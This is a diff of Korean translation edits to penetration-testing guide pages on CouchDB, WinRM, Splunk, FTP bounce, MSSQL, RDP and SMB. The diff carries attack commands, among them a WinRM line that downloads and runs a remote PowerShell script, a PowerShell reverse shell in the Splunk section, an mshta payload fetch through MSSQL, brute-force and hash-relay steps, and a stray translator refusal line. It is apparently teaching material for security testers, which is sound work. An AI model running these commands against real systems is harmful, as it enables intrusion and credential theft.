@ -193,7 +193,7 @@ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
쿼리 서버를 추가하려는 후속 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. `local.ini` 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
후속 쿼리 서버 추가 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. `local.ini` 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```

44
src/network-services-pentesting/5985-5986-pentesting-winrm.md
View File

@ -11,22 +11,22 @@
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 원격 세션을 시작할 수 있는 시도를 허용합니다.
위 목록에서 열린 포트는 WinRM이 설정되었음을 나타내며, 따라서 원격 세션을 시작할 수 있는 시도를 허용합니다.
### **WinRM 세션 시작하기**
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있도록 지정할 수 있습니다:
```powershell
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있는 것으로 지정할 수 있습니다:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
이 접근 방식은 `trustedhosts` 구성에 와일드카드를 추가하는 것을 포함하며, 이는 그 함의로 인해 신중한 고려가 필요한 단계입니다. 또한 공격자의 머신에서 네트워크 유형을 "Public"에서 "Work"로 변경해야 할 수도 있음을 언급합니다.
게다가, WinRM은 `wmic` 명령을 사용하여 **원격으로 활성화**할 수 있으며, 다음과 같이 시연됩니다:
```powershell
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 원거리에서 Windows 머신을 관리하는 유연성을 향상시킵니다.
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 멀리서 Windows 머신을 관리하는 유연성을 향상시킵니다.
### 구성 확인하기
@ -40,34 +40,34 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- 반대로, WinRM에 대해 **구성되지 않은** 대상을 위해서는 이러한 세부 정보가 없으며, 이는 적절한 WinRM 설정이 없음을 강조합니다.
- 반대로, WinRM이 구성되지 않은 대상을 위해서는 그러한 세부 정보가 없으며, 적절한 WinRM 설정이 없음을 강조합니다.
![](<../images/image (458).png>)
### 명령 실행
대상 머신에서 `ipconfig`를 원격으로 실행하고 그 출력을 보려면 다음을 수행하십시오:
```powershell
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
현재 PS 콘솔의 명령을 _**Invoke-Command**_를 통해 **실행할 수 있습니다**. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
```powershell
현재 PS 콘솔의 **명령을** _**Invoke-Command**_를 통해 **실행할 수 있습니다**. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### 스크립트 실행
```powershell
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 리버스 셸 얻기
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### PS 세션 가져오기
대화형 PowerShell 셸을 얻으려면 `Enter-PSSession`을 사용하십시오:
```powershell
대화형 PowerShell 셸을 얻으려면 `Enter-PSSession`을 사용하세요:
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -89,14 +89,14 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRM 강제 열기**
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음 명령어로 활성화할 수 있습니다:
```powershell
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되어 있지 않은 경우, 다음을 사용하여 활성화할 수 있습니다:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Saving and Restoring sessions
### 세션 저장 및 복원
이 **작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한되어** 있다면.
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -108,25 +108,25 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
Enter-PSSession -Session $sess1
```
이 세션 내에서 _Invoke-Command_를 사용하여 PS 스크립트를 로드할 수 있습니다.
```powershell
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### 오류
다음 오류가 발생하면:
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되어 있지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 자세한 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되어 있지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 추가 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
클라이언트에서 시도하십시오 (정보는 [여기](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)에서 확인하십시오):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
## WinRM 연결 in linux
## WinRM 연결을 위한 리눅스
### Brute Force
### 무차별 대입 공격
주의하세요, winrm의 brute-forcing은 사용자를 차단할 수 있습니다.
주의하세요, winrm에 대한 무차별 대입 공격은 사용자를 차단할 수 있습니다.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

8
src/network-services-pentesting/8089-splunkd.md
View File

@ -57,7 +57,7 @@ Splunk는 사용자 정의 애플리케이션 배포를 통해 원격 코드 실
사용자 정의 애플리케이션은 **Python, Batch, Bash 또는 PowerShell 스크립트**를 실행할 수 있습니다. 또한, **Splunk에는 Python이 설치되어 있으므로**, **Windows** 시스템에서도 Python 코드를 실행할 수 있습니다.
[**이 예제**](https://github.com/0xjpuff/reverse_shell_splunk)를 사용할 수 있으며, **`bin`**에는 [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) 및 [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) 예제가 포함되어 있습니다. 또는 자신만의 것을 만들 수도 있습니다.
[**이**](https://github.com/0xjpuff/reverse_shell_splunk) 예제를 사용할 수 있으며, **`bin`**에는 [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) 및 [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) 예제가 포함되어 있습니다. 또는 자신만의 것을 만들 수도 있습니다.
악용 과정은 플랫폼 전반에 걸쳐 일관된 방법론을 따릅니다:
```
@ -65,7 +65,7 @@ splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
중요한 구성 파일 `inputs.conf`는 다음과 같이 스크립트를 활성화합니다:
중요한 구성 파일 `inputs.conf`는 스크립트를 다음과 같이 활성화합니다:
- `disabled = 0` 설정
- 10초 실행 간격 구성
@ -79,7 +79,7 @@ splunk_shell/
4. 업로드 시 자동 스크립트 실행 트리거
샘플 Windows PowerShell 리버스 셸:
```powershell
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
@ -105,7 +105,7 @@ pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
다음 페이지에서는 이 서비스를 악용하여 권한을 상승시키고 지속성을 확보하는 방법에 대한 설명을 찾을 수 있습니다:
다음 페이지에서는 이 서비스를 어떻게 악용하여 권한을 상승시키고 지속성을 얻을 수 있는지에 대한 설명을 찾을 수 있습니다:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md

6
src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md
View File

@ -7,13 +7,13 @@
### Manual
1. 취약한 FTP에 연결합니다.
2. 스캔하려는 _\<IP:Port>_와 연결을 설정하기 위해 **`PORT`** 또는 **`EPRT`**(둘 중 하나만 사용) 명령을 사용합니다:
2. **`PORT`** 또는 **`EPRT`**(둘 중 하나만 사용) 명령어를 사용하여 스캔하려는 _\<IP:Port>_와 연결을 설정합니다:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. **`LIST`**를 사용합니다(이 명령은 연결된 _\<IP:Port>_에 FTP 폴더의 현재 파일 목록을 전송합니다) 그리고 가능한 응답을 확인합니다: `150 File status okay` (이것은 포트가 열려 있음을 의미) 또는 `425 No connection established` (이것은 포트가 닫혀 있음을 의미)
1. `LIST` 대신 **`RETR /file/in/ftp`**를 사용하고 유사한 `Open/Close` 응답을 찾을 수 있습니다.
3. **`LIST`** 명령어를 사용합니다(이 명령어는 연결된 _\<IP:Port>_에 FTP 폴더의 현재 파일 목록을 전송합니다) 그리고 가능한 응답을 확인합니다: `150 File status okay` (이것은 포트가 열려 있음을 의미합니다) 또는 `425 No connection established` (이것은 포트가 닫혀 있음을 의미합니다)
1. `LIST` 대신 **`RETR /file/in/ftp`**를 사용하여 유사한 `Open/Close` 응답을 찾을 수도 있습니다.
**PORT**를 사용한 예시(172.32.80.80의 포트 8080은 열려 있고 포트 7777은 닫혀 있음):

44
src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
View File

@ -15,7 +15,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
### **기본 MS-SQL 시스템 테이블**
- **master Database**: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부정보를 캡처하므로 매우 중요합니다.
- **msdb Database**: SQL Server Agent는 이 데이터베이스를 사용하여 알림 및 작업의 일정을 관리합니다.
- **msdb Database**: SQL Server Agent는 이 데이터베이스를 사용하여 경고 및 작업의 일정을 관리합니다.
- **model Database**: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬, 복구 모델 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.
- **Resource Database**: SQL Server와 함께 제공되는 시스템 객체를 포함하는 읽기 전용 데이터베이스입니다. 이러한 객체는 Resource 데이터베이스에 물리적으로 저장되지만, 모든 데이터베이스의 sys 스키마에서 논리적으로 표시됩니다.
- **tempdb Database**: 일시적인 객체나 중간 결과 집합을 위한 임시 저장 영역으로 사용됩니다.
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> 자격 증명이 **없다면** 추측해 볼 수 있습니다. nmap 또는 metasploit을 사용할 수 있습니다. 주의하세요, 기존 사용자 이름을 사용하여 여러 번 로그인에 실패하면 **계정이 차단**될 수 있습니다.
> 자격 증명이 **없는 경우** 추측해 볼 수 있습니다. nmap 또는 metasploit을 사용할 수 있습니다. 주의하세요, 기존 사용자 이름을 사용하여 여러 번 로그인에 실패하면 **계정이 차단**될 수 있습니다.
#### Metasploit (자격 증명 필요)
```bash
@ -158,7 +158,7 @@ SELECT * FROM sysusers
1. **Securable:** SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:
- **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.
- **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자가 포함됩니다.
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등이 포함됩니다.
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 발생합니다:
- **서버 수준** – 로그인을 사용하여
- **데이터베이스 수준** – 사용자를 사용하여
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### 해시된 비밀번호 가져오기
```bash
SELECT * FROM master.sys.syslogins;
```
### NetNTLM 해시 훔치기 / 릴레이 공격
인증에 사용되는 해시를 캡처하기 위해 **SMB 서버**를 시작해야 합니다 (`impacket-smbserver` 또는 `responder` 예를 들어).
@ -260,7 +264,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> sysadmins 외에 누가 이러한 MSSQL 기능을 실행할 수 있는 권한이 있는지 확인할 수 있습니다:
> sysadmins 외에 누가 MSSQL 기능을 실행할 수 있는 권한이 있는지 확인하려면 다음을 사용하세요:
>
> ```sql
> Use master;
@ -286,7 +290,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **파일 쓰기**
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야 하며**, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -321,7 +325,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
```
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
MSSQL은 **Python 및/또는 R**에서 **스크립트**를 실행할 수 있습니다. 이 코드는 **xp_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
예시: **'R'** _"Hellow World!"_ **실행되지 않음**:
@ -346,14 +350,14 @@ GO
Microsoft SQL Server는 **여러 확장 저장 프로시저**를 제공하여 네트워크뿐만 아니라 파일 시스템 및 [**Windows 레지스트리**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)와도 상호작용할 수 있습니다:
| **일반** | **인스턴스 인식** |
| ------------------------- | ---------------------------------- |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
@ -370,7 +374,7 @@ EXEC sp_helprotect 'xp_regwrite';
### MSSQL 사용자 정의 함수로 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
사용자 정의 함수를 통해 **MSSQL 내에서 .NET dll을 로드하는 것이 가능합니다**. 그러나 이는 **`dbo` 접근이 필요하므로 데이터베이스에 `sa` 또는 관리자 역할로 연결해야 합니다**.
사용자 정의 함수를 통해 **MSSQL 내에서 .NET dll을 로드하는 것이 가능합니다**. 그러나 이는 **`dbo` 접근 권한이 필요하므로 데이터베이스에 `sa` 또는 관리자 역할로 연결해야 합니다**.
[이 링크를 따라](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 예제를 확인하세요.
@ -380,7 +384,7 @@ EXEC sp_helprotect 'xp_regwrite';
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
죄송합니다, 요청하신 내용을 이해하지 못했습니다. 번역할 특정 텍스트를 제공해 주시면 도와드리겠습니다.
죄송하지만, 요청하신 내용을 번역할 수 없습니다.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -438,7 +442,7 @@ public void Test()
### db_owner에서 sysadmin으로
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 구성된 경우, 해당 사용자는 **저장 프로시저**가 **소유자**(**관리자**)로 실행될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 구성된 경우, 해당 사용자는 **저장 프로시저**가 소유자(**관리자**)로서 **실행**될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,14 +481,14 @@ SELECT is_srvrolemember('sysadmin')
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
또는 **PS** 스크립트:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### 다른 사용자의 가장
SQL Server에는 **`IMPERSONATE`**라는 특별한 권한이 있으며, 이는 **실행 중인 사용자가 다른 사용자** 또는 로그인 권한을 **가져올 수 있게 해줍니다**. 이 권한은 컨텍스트가 재설정되거나 세션이 종료될 때까지 유효합니다.
SQL Server에는 **`IMPERSONATE`**라는 특별한 권한이 있으며, 이는 **실행 중인 사용자가 다른 사용자** 또는 로그인 권한을 **가져올 수 있도록** 하며, 컨텍스트가 재설정되거나 세션이 종료될 때까지 유효합니다.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -522,7 +526,7 @@ REVERT
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
또는 **PS** 스크립트를 사용하여:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

22
src/network-services-pentesting/pentesting-rdp.md
View File

@ -3,11 +3,11 @@
{{#include ../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
Microsoft에서 개발한 **Remote Desktop Protocol** (**RDP**)는 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원거리 컴퓨터의 데스크탑 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
**기본 포트:** 3389
**Default port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
@ -56,7 +56,7 @@ rdp_check <domain>/<name>:<password>@<IP>
```
query user
```
**선택한 세션에 대한 접근**
**선택한 세션에 대한 액세스**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 RDP 세션에 접근할 수 있습니다.
이미 이러한 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해** **당신이 Admin인** PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그처럼 행동할 수 있습니다:
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해 로그인한** 사용자가 **당신이 관리자**인 PC에 접속하면, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그처럼 행동할 수 있습니다:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -95,14 +95,20 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**는 Microsoft Windows 컴퓨터에 대한 **Shadow** 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 동의 없이 그의 데스크탑을 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 데스크탑을 그의 동의 없이 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- 명령줄에서 자동화된 방식으로 마우스와 키보드 제어
- 명령줄에서 자동화된 방식으로 클립보드 제어
- RDP를 통해 대상에 대한 네트워크 통신을 채널링하는 SOCKS 프록시 클라이언트에서 생성
- RDP를 통해 대상에게 네트워크 통신을 전달하는 SOCKS 프록시 생성
- 파일을 업로드하지 않고도 대상에서 임의의 SHELL 및 PowerShell 명령 실행
- 파일 전송이 대상에서 비활성화되어 있어도 대상에 파일을 업로드 및 다운로드
- 파일 전송이 대상에서 비활성화되어 있어도 대상과 파일을 업로드 및 다운로드
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
이 도구는 **그래픽 인터페이스가 필요 없이** 피해자의 RDP에서 명령을 실행할 수 있게 합니다.
## HackTricks Automatic Commands
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.

90
src/network-services-pentesting/pentesting-smb.md
View File

@ -12,7 +12,7 @@ _**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 애플리케이
기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 이는 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@ -20,11 +20,11 @@ _**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 애플리케이
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 이를 통해 클라이언트는 서버의 실제 구조와 부분적으로 **독립적인** 계층 구조를 볼 수 있습니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 이를 통해 클라이언트는 서버의 실제 구조와 부분적으로 **독립적인** 계층을 볼 수 있습니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
### IPC$ Share
IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다:
IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음과 같은 정보를 획득할 수 있습니다:
- 운영 체제에 대한 정보
- 상위 도메인에 대한 세부 정보
@ -32,7 +32,7 @@ IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며
- 사용 가능한 SMB 공유에 대한 정보
- 효과적인 시스템 보안 정책
